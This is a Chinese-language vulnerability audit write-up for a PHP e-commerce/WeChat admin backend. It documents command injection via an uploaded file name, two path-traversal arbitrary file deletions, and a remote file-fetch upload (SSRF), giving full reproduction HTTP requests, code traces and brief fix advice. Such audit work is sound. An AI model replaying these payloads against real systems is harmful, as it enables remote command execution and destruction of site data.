1、后台存在1处命令执行
漏洞条件:
参数接收后执行eval('$data='这里面的输入的内容'')
点是连接符,//注释掉后面的
● 漏洞url: http://baijiaccc.com/index.php?mod=site&act=weixin&do=setting
● 漏洞参数:sqlstr
● 是否存在限制: 1、满足$extention=txt(获取文件类型是否为txt)
2、满足有提交事件(一定会满足)
3、上传文件的值不为空(搜索关键字在前端文件显示授权文件)
4、判断$srttings有值(image_compress_openscale开启)
● 是否还有其他条件:mod=site&act=weixin&do=setting
复现
POST /index.php?mod=site&act=weixin&do=setting HTTP/1.1
Host: baijiaccc.com
Content-Length: 1224
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://baijiaccc.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFBY6mmvFXLNBb313
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://baijiaccc.com/index.php?mod=site&act=weixin&do=setting
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=sa0o3fgd3il0kc7gmg3e9uq666
Connection: close
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="weixinname"
111
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="interface"
http://baijiaccc.com/api.php?op=weixin
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="weixintoken"
13u5hio3u3abkg3kcpj35arlblymbnim
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="EncodingAESKey"
PLAhEBiKscPIwh9C6KnzEPVtb0qPBkxJZ8v99KfHCY1
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="weixin_appId"
aaa
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="weixin_appSecret"
ssss
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="weixin_verify_file"; filename="&calc&.txt"
Content-Type: text/plain
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="weixin_noaccess"
0
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="weixin_shareaddress"
0
------WebKitFormBoundaryFBY6mmvFXLNBb313
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryFBY6mmvFXLNBb313--
抓到上传问及教案的包,把文件名改成执行的命令
代码
搜索命令执行的关键字带变量
第一个变量被强制类型转换,跟踪下file_save函数,传什么值就是什么,如果是变量就可控制
第四个变量$file[name]从上面的$_FILES传过来。
大概思路:system-->$file_full_path-->file_save-->$file['name']-->$file=$_FILES['weixin_verify_file']
先访问网站复制地址,找到对应代码文件,再去分析漏洞文件对应的功能位置
system/manager/class/web/store.php
baijiaccc.com/index.php?mod=site&act=manager&do=store&op=display&beid=1
漏洞文件地址:
system/weixin/class/web/setting.php
baijiaccc.com/index.php?mod=site&act=weixin&do=setting
刚好有文件上传的功能
触发这个函数要满足的条件:
1、满足$extention=txt(获取文件类型是否为txt)
2、满足有提交事件(一定会满足)
3、上传文件的值不为空(搜索关键字在前端文件显示授权文件)
4、判断$srttings有值(image_compress_openscale开启)
修复建议
坚持在调用系统命令时使用安全的函数库,验证并清理所有用户输入,以避免可能的命令注入攻击。
2、后台存在1处任意文件删除
漏洞条件:
● 漏洞url: http://baijiaccc.com/index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vLi4vMw%3d%3d&beid=1
● 漏洞参数:id
● 是否存在限制: id需要base64编码
● 是否还有其他条件:mod=site&act=manager&do=database&op=delete&id=&beid=1
复现
GET /index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vLi4vMw%3d%3d&beid=1 HTTP/1.1
Host: baijiaccc.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://baijiaccc.com/index.php?mod=site&act=manager&do=database&op=restore&ischeck=1&beid=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=sa0o3fgd3il0kc7gmg3e9uq666
Connection: close
代码
搜索删除函数unlink()并且存在可控变量,rmdirs函数也是删除函数
跟踪$path变量,判断这个下边是不是文件目录,并遍历这个列表。对于每个文件或子目录,如果它的名称既不是点 '.' (表示当前目录)也不是点点 '..' (表示父目录),并且名称不是 'qrcode',它就会被删除。
在删除所有文件和子目录之后,如果 $path 不是 WEB_ROOT 下的 '/cache/' 目录,那么这个目录也会被尝试删除。
跟踪rmdirs函数,查看它被谁调用。
条件:
1、op=delete
2、$d = base64_decode($_GP['id']);
没有额外的过滤
修复建议
需要验证用户输入,限制文件访问权限,并且仅允许经过身份验证和授权的用户操作文件。
3、后台存在1处任意文件上传
漏洞条件:
● 漏洞url: http://baijiaccc.com/index.php?mod=site&do=file&act=public&op=fetch&beid=1&url=
● 漏洞参数:url
● 是否存在限制:
● 是否还有其他条件:mod=site&do=file&act=public&op=fetch&beid=1&url=
复现
GET /index.php?mod=site&do=file&act=public&op=fetch&beid=1&url=http://远程地址/文件.php HTTP/1.1
Host: baijiaccc.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pusi68o14jke80q64hcg8ram20; __fileupload_type=image; __fileupload_dest_dir=; __fileupload_global=
Connection: close
在虚拟机创建个php文件
代码
获取 $_GPC['url'] 的值,去掉两边的空格,并将结果赋值给 $url;然后调用 fetch_net_file_upload($url) 函数,将结果赋值给 $file。如果存在错误就提示输出
跟踪fetch_net_file_upload函数,先对Url去除两边的空。
判断目录是否存在不存在则创建
SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以PHP为例,涉及到的函数有 file_get_contents() / fsockopen() / curl_exec() 等。
file_get_contents会读取获取的url传入的内容
修复建议
应限制出站请求的目标和类型,使用安全的编程实践,以及对用户提供的数据进行有效的输入验证和清理。
4、任意文件删除
漏洞条件
● 漏洞url: http://baijiaccc.com/index.php?mod=mobile&act=uploader&op=remove&do=util&m=eshop&file=../2.txt
● 漏洞参数:file
● 是否存在限制: system_isnetattach为空;op=remove
● 是否还有其他条件:mod=mobile&act=uploader&op=remove&do=util&m=eshop&file=
复现
POST /index.php?mod=mobile&act=uploader&op=remove&do=util&m=eshop&file=../2.txt HTTP/1.1
Host: baijiaccc.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://baijiaccc.com/index.php?mod=site&act=manager&do=store&op=display&beid=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=1oqv3hhn86om48bmgckd0b2fe6
Connection: close
在/attachment/上级目录创建2.txt
代码
unlink函数出现且有可控变量
$file_relative_path跟踪,698行先判断这个变量为空返回true,否则继续执行,unlink函数在else里面,所以让if条件不成立就可以。system_isnetattach让他为空
在跟踪file_delete谁调用了这个方法。uploader.php文件
op=remove,接收file参数
修复建议
需要验证用户输入,限制文件访问权限,并且仅允许经过身份验证和授权的用户操作文件。